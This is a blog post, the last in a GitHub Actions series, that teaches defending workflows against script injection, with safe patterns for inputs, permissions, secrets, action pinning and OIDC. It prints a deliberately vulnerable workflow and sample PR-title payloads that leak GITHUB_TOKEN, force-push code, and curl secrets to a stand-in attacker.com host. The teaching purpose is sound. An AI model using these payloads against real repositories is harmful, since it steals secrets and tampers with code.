my blog

$ cat github-actions/part-07.md

Workflow Security in GitHub Actions: Protecting Against Injection Attacks

After covering all the features of GitHub Actions, there’s one critical topic left: security. In this final article, I’ll show you how to protect your workflows from injection attacks, especially when dealing with untrusted inputs from pull requests.

The Problem: Script Injection

When your workflow processes user input – like PR titles, commit messages, or issue comments – you’re dealing with untrusted data. If you’re not careful, attackers can inject malicious code into your workflow.

Let me show you the vulnerable pattern I discovered, then how to fix it.

The Unsafe Pattern

Here’s a workflow that looks innocent but is actually dangerous:

File: workflows/20-workflow-security.yaml

name: 20 - Workflow Security

on:
  pull_request:

jobs:
  unsafe-pr:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4
      
      - name: Check PR title
        run: |
          title=${{ github.event.pull_request.title }}
          if [[ $title =~ ^feat ]]; then
          echo "PR is a feature"
          exit 0
          else
          echo "PR is not a feature"
          exit 1
          fi

Why This Is Dangerous

Look at this line:

title=${{ github.event.pull_request.title }}

The PR title is inserted directly into the bash script. An attacker can create a PR with this title:

feat: add feature"; echo "HACKED"; echo "

When the workflow runs, it becomes:

title=feat: add feature"; echo "HACKED"; echo "

The semicolons break out of the string and execute arbitrary commands!

Real Attack Example

I tested this in my home lab. With a malicious PR title, an attacker could:

Steal secrets:

"; echo $GITHUB_TOKEN | base64; echo "

Modify code:

"; git config user.name "attacker"; git commit --amend --no-edit; git push --force; echo "

Exfiltrate data:

"; curl -X POST https://attacker.com -d @secrets.txt; echo "

This is called script injection or command injection, and it’s a serious vulnerability.

The Safe Pattern: Using Environment Variables

The fix is simple – use environment variables instead of direct substitution:

jobs:
  safer-pr:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4
      
      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ $TITLE =~ ^feat ]]; then
          echo "PR is a feature"
          exit 0
          else
          echo "PR is not a feature"
          exit 1
          fi

Why This Is Safe

The key difference:

env:
  TITLE: ${{ github.event.pull_request.title }}
run: |
  if [[ $TITLE =~ ^feat ]]; then

Now the PR title is passed as an environment variable $TITLE, not inserted into the script.

When an attacker tries the same malicious title:

feat: add feature"; echo "HACKED"; echo "

It becomes:

TITLE='feat: add feature"; echo "HACKED"; echo "'

The entire string, including quotes and semicolons, is treated as literal text, not executable code.

The Technical Reason

Direct substitution:

  • GitHub replaces ${{ }} during workflow parsing
  • The result is inserted directly into the script
  • Bash interprets special characters (quotes, semicolons, backticks)

Environment variables:

  • GitHub sets the environment variable before running the script
  • Bash reads the variable value as a string
  • Special characters are escaped automatically

The Safest Pattern: Using Custom Actions

For even better protection, I created a JavaScript action that handles untrusted input safely:

File: actions/security-safe-input/action.yaml

name: Safe Title Check
description: Safely checks the title of a PR.

inputs:
  pr-title:
    description: The PR title
    required: true

runs:
  using: node20
  main: index.js

File: actions/security-safe-input/index.js

const core = require('@actions/core');

async function run() {
  try {
    const prTitle = core.getInput('pr-title');
    if (prTitle.startsWith('feat')) {
      core.info('PR is a feature');
    } else {
      core.setFailed('PR is not a feature');
    }
  } catch (e) {
    core.setFailed(e.message);
  }
}

run();

Using it in the workflow:

jobs:
  js-safer-pr:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4
      
      - name: Check PR title
        uses: ./.github/actions/security-safe-input
        with:
          pr-title: ${{ github.event.pull_request.title }}

Why JavaScript Actions Are Safer

The @actions/core toolkit automatically:

  • Escapes special characters in inputs
  • Prevents command injection
  • Validates input types
  • Masks secrets in logs

When you use core.getInput(‘pr-title’), the library handles all the dangerous edge cases for you.

Understanding the Attack Surface

Not all GitHub context variables are dangerous. Here’s what I learned:

Untrusted Inputs (NEVER use directly in bash)

These come from users and can contain malicious code:

Pull Request data:

  • ${{ github.event.pull_request.title }}
  • ${{ github.event.pull_request.body }}
  • ${{ github.event.pull_request.head.ref }} (branch name)
  • ${{ github.event.pull_request.head.label }}
  • ${{ github.event.pull_request.head.repo.full_name }}

Issue data:

  • ${{ github.event.issue.title }}
  • ${{ github.event.issue.body }}

Comment data:

  • ${{ github.event.comment.body }}

Commit data:

  • ${{ github.event.head_commit.message }}
  • ${{ github.event.commits[0].message }}

Discussion data:

  • ${{ github.event.discussion.title }}
  • ${{ github.event.discussion.body }}

Trusted Inputs (Safe to use directly)

These come from GitHub and cannot be manipulated:

  • ${{ github.sha }} – Commit SHA
  • ${{ github.ref }} – Branch reference
  • ${{ github.repository }} – Repository name
  • ${{ github.actor }} – Username (validated by GitHub)
  • ${{ github.run_id }} – Workflow run ID
  • ${{ github.run_number }} – Workflow run number
  • ${{ github.workflow }} – Workflow name (from your file)
  • ${{ github.event_name }} – Event type

These are safe because GitHub generates them, not users.

Real-World Security Patterns

Pattern 1: Validate Before Use

Even with environment variables, validate the input format:

steps:
  - name: Validate PR title
    env:
      PR_TITLE: ${{ github.event.pull_request.title }}
    run: |
      if [[ ! $PR_TITLE =~ ^(feat|fix|docs|chore|refactor): ]]; then
        echo "Invalid PR title format"
        exit 1
      fi
      echo "PR title is valid"

This ensures the title matches your expected format before using it.

Pattern 2: Use Actions for Complex Logic

For anything more than simple validation, use JavaScript actions:

const core = require('@actions/core');

async function run() {
  try {
    const prTitle = core.getInput('pr-title');
    
    // Validate format
    const validPrefixes = ['feat', 'fix', 'docs', 'chore', 'refactor'];
    const hasValidPrefix = validPrefixes.some(prefix => 
      prTitle.startsWith(`${prefix}:`)
    );
    
    if (!hasValidPrefix) {
      core.setFailed(
        `PR title must start with one of: ${validPrefixes.join(', ')}`
      );
      return;
    }
    
    // Extract ticket number if present
    const ticketMatch = prTitle.match(/\[([A-Z]+-\d+)\]/);
    if (ticketMatch) {
      core.setOutput('ticket-number', ticketMatch[1]);
    }
    
    core.info('PR title is valid');
  } catch (e) {
    core.setFailed(e.message);
  }
}

run();

Pattern 3: Limit Permissions

Use the permissions key to restrict what workflows can do:

name: PR Validation

on:
  pull_request:

permissions:
  contents: read
  pull-requests: read

jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Validate PR
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}
        run: |
          echo "Validating: $PR_TITLE"

With contents: read, even if an attacker injects code, they can’t push changes or modify releases.

Pattern 4: Use pull_request_target Carefully

There’s a special trigger called pull_request_target that runs in the context of the base branch, not the PR branch. This is dangerous!

UNSAFE:

on:
  pull_request_target:  # Dangerous!

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4  # Checks out PR code
      - run: npm install  # Runs attacker's package.json!
      - run: npm run build

An attacker can modify package.json to execute malicious code during npm install.

SAFE:

on:
  pull_request_target:

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.base_ref }}  # Checkout base branch, not PR!
      
      - name: Get PR title safely
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}
        run: |
          echo "PR Title: $PR_TITLE"

Only check out the base branch code, never the PR code when using pull_request_target.

Secrets Management

Secrets need special care in workflows.

Never Log Secrets

# UNSAFE!
- name: Deploy
  run: |
    echo "API Key: ${{ secrets.API_KEY }}"
    curl -H "Authorization: ${{ secrets.API_KEY }}" ...

GitHub automatically masks secrets in logs, but explicit echo commands can expose them.

Safe pattern:

- name: Deploy
  env:
    API_KEY: ${{ secrets.API_KEY }}
  run: |
    # Use $API_KEY without echoing it
    curl -H "Authorization: $API_KEY" https://api.example.com

Mask Custom Secrets in JavaScript Actions

If you generate secrets dynamically, mask them:

const core = require('@actions/core');

async function run() {
  const apiKey = generateApiKey();
  
  // Mask it before using
  core.setSecret(apiKey);
  
  // Now safe to use
  core.setOutput('api-key', apiKey);
}

Use Environment-Specific Secrets

Don’t use the same secrets for staging and production:

jobs:
  deploy-staging:
    runs-on: ubuntu-latest
    environment: staging
    steps:
      - name: Deploy
        env:
          API_KEY: ${{ secrets.API_KEY }}  # staging API key
        run: ./deploy.sh

  deploy-prod:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - name: Deploy
        env:
          API_KEY: ${{ secrets.API_KEY }}  # production API key
        run: ./deploy.sh

Each environment has its own secrets in GitHub Settings.

Code Scanning and Dependency Updates

Beyond injection attacks, secure your dependencies too.

Enable Dependabot

Create .github/dependabot.yml:

version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
  
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

This automatically updates:

  • npm packages
  • GitHub Actions versions

Pin Action Versions

UNSAFE:

- uses: actions/checkout@v4

SAFE:

- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  # v4.1.1

Pin to specific commit SHA to prevent supply chain attacks. If the action is compromised, your workflow still uses the safe version.

Use tools like pin-github-action to automate this.

OIDC and Cloud Provider Authentication

For cloud deployments, use OIDC instead of long-lived credentials.

The Old Way (Unsafe)

- name: Configure AWS
  env:
    AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
    AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
  run: |
    aws s3 cp file.txt s3://bucket/

Problems:

  • Long-lived credentials stored in GitHub
  • If compromised, attacker has permanent access
  • No automatic rotation

The New Way (OIDC)

permissions:
  id-token: write
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Configure AWS Credentials
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsRole
          aws-region: us-east-1
      
      - name: Deploy to S3
        run: |
          aws s3 cp file.txt s3://bucket/

Benefits:

  • No credentials stored in GitHub
  • Temporary credentials (valid for ~1 hour)
  • Automatic rotation
  • Can restrict by repository, branch, environment

What I Learned About Security

  1. Default to environment variables: Always use env: for untrusted inputs. It’s free protection.
  2. JavaScript actions are safer than bash: The @actions/core library handles edge cases I didn’t even think of.
  3. Validate everything: Even with environment variables, validate format and content.
  4. Least privilege principle: Set permissions: to the minimum needed. Start with read and add write only when necessary.
  5. Never trust PR code with pull_request_target: This trigger is for posting comments, not running PR code.
  6. Pin actions to SHA: Using @v4 is convenient but risky. Pin to commit SHA for production workflows.
  7. Audit your workflows: Use GitHub’s code scanning to find security issues automatically.
  8. Test malicious inputs: In my home lab, I test with crafted inputs like:
  9. OIDC for cloud access: Never store long-lived cloud credentials in GitHub secrets if you can use OIDC.
  10. Read the security advisories: GitHub publishes security advisories for popular actions. Subscribe to them.

Security Checklist for Every Workflow

Before deploying a workflow to production, I check:

  • [ ] All user inputs use environment variables, not direct substitution
  • [ ] permissions: is set to minimum required
  • [ ] Actions are pinned to commit SHA, not tags
  • [ ] Secrets are never echoed or logged
  • [ ] pull_request_target (if used) only checks out base branch
  • [ ] Input validation happens before processing
  • [ ] Cloud credentials use OIDC, not static keys
  • [ ] Dependabot is enabled for automatic updates
  • [ ] Code scanning is enabled

Real-World Example: Secure PR Validation

Here’s how I combine everything for a production-grade PR validation workflow:

name: Secure PR Validation

on:
  pull_request:
    types: [opened, synchronize, reopened]

permissions:
  contents: read
  pull-requests: write
  statuses: write

jobs:
  validate-title:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  # v4.1.1
      
      - name: Validate PR title
        uses: ./.github/actions/security-safe-input
        with:
          pr-title: ${{ github.event.pull_request.title }}
      
      - name: Comment on PR
        if: failure()
        env:
          PR_NUMBER: ${{ github.event.pull_request.number }}
          GH_TOKEN: ${{ github.token }}
        run: |
          gh pr comment $PR_NUMBER --body "PR title must follow format: type: description"

  lint-and-test:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  # v4.1.1
      
      - name: Setup Node
        uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8  # v4.0.2
        with:
          node-version: '20.x'
      
      - name: Install dependencies
        run: npm ci
      
      - name: Run tests
        run: npm test

This workflow:

  • Validates PR title safely with custom action
  • Uses minimal permissions
  • Pins actions to commit SHA
  • Never executes code from the PR
  • Uses environment variables for GitHub CLI

Conclusion

Security in GitHub Actions isn’t optional. One vulnerable workflow can expose your entire repository, secrets, and infrastructure.

The good news: most attacks are preventable with simple patterns:

  1. Use environment variables for untrusted inputs
  2. Validate everything
  3. Minimize permissions
  4. Pin action versions
  5. Use OIDC for cloud access

$ ls -t root-access/ | head -3

Hello world! uncategorized 1 min Building a Job Board API, Part 1: The Foundation job-board-api · 1/1 16 min Part 13 – Kubernetes Autoscaling in Action: A FastAPI Microservice That Scales Itself home-lab · 13/13 6 min

Leave a comment

Your email address will not be published. Required fields are marked *